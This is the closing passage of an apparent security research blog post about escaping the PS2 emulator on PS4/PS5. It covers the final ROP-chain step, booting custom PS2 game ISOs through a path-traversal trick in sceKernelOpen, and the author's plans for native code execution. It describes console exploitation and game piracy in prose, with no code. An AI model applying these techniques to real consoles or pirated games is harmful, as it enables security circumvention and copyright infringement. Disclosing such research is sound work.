<li>Use primitive 5 to call the stack pivot gadget pair (with <code>rsi</code> pointing to the initial ROP chain),</li>
</ol>
<p>This will result in executing our main ROP chain, and then returning gracefully back to PS2 execution. Note that the first 3 steps are part of the setup process that only needs to be done once; to execute subsequent ROP chains we just need to write them over the last chain, and then execute them by writing to the pre-corrupted memory-mapped-IO handler (steps 4 - 5).</p>
<br>
<h2 id="booting-custom-ps2-games">Booting Custom PS2 Games</h2>
<p>Now that we've successfully escaped the PS2 emulator, the natural first thing to try doing with it is to boot another game.</p>
<p>There are a few options for retrieving an external game file:</p>
<ul>
<li><p>Bundling it within the save file initially seems like the obvious choice, but since PS4 save games have a filesize limit (I think it was 1GB, but then raised a bit for Cyberpunk's release), this approach won't work for many PS2 games.</p>
</li>
<li><p>You could probably also copy games off USB storage by manually porting over a USB and FAT implementation (since <code>mount</code> syscalls are restricted), like I <a href="https://github.com/CTurt/PS4-SDK/blob/40c54a2b4668da87011f9b46df3e99572105284b/examples/usb/usbfatfs/source/main.c#L68">did</a> with my native GameBoy emulator Proof-of-Concept for the PS4 1.76 WebKit and JIT exploit.</p>
</li>
<li><p>I chose to just upload the desired game to the console over the local network on each run. My rudimentary proof-of-concept without any compression and over WiFi takes almost 20 minutes for a 1.3GB game like Klonoa 2, but this could surely be improved.</p>
</li>
</ul>
<p>Once the ISO file is somewhere accessible on the filesystem, it was just a case of locating the emulator's code responsible for opening the disc file (<code>/app0/images/disc01.iso</code>) by setting a breakpoint on <code>sceKernelOpen</code>, using the exploit to call it (with a traversed path like <code>./../bla/boot.iso</code> to bypass some internal check), undoing any left over corruption, and finally having the PS2 code call <code>LoadExecPS2</code> to boot an ELF on the newly mounted virtual disc to start the new game.</p>
<div id="video-demo" class="center">
<iframe class="youtube" width="420" height="315" src="https://www.youtube.com/embed/GIl1mR0HLnc" frameborder="0" allowfullscreen></iframe>
</div>
<br>
<p>Note that the emulator was configured specifically for the game it was bundled with (in this case Okage Shadow King), and whilst some of the configuration may be tweakable at runtime through the exploit, expect compatibility with other games to be spotty in general, although at least Klonoa 2 seems to work fine as is (an <a href="https://store.playstation.com/en-us/product/UP0700-PPSA04796_00-KLONOA12ENCORE00">otherwise $40 dollar game</a>).</p>
<br>
<h2 id="part-1-conclusion">Part 1 Conclusion</h2>
<p>PS2 piracy is a fun implication, especially being able to disclose it despite there being no patch, but my main goal was getting native homebrew applications running.</p>
<p>Regarding that goal, escaping the emulator is just the first half of the chain; we can't yet write arbitrary native code since our application process only has permission to map JIT shared memory as executable, not writeable.</p>
<p>We could technically write "PS4-enhanced" PS2 homebrew applications that could use any native PS4 functionality, and so could behave essentially the same as normal PS4 homebrew (accessing the PS4 controller's touchpad, etc), but I really wanted to achieve fully arbitrary code execution for a more practical homebrew environment. This makes the next step attacking the compiler process: <a href="mast1c0re-2.html">mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator - Part 2 - Arbitrary Code Execution</a>.</p>
<br>
<h2 id="thanks">Thanks</h2>
<p>flatz, balika011, theflow0, chicken(s), PlayStation</p>
<script src="js/prism.js" type="text/javascript"></script>
</div>
</div>
</body>
</html>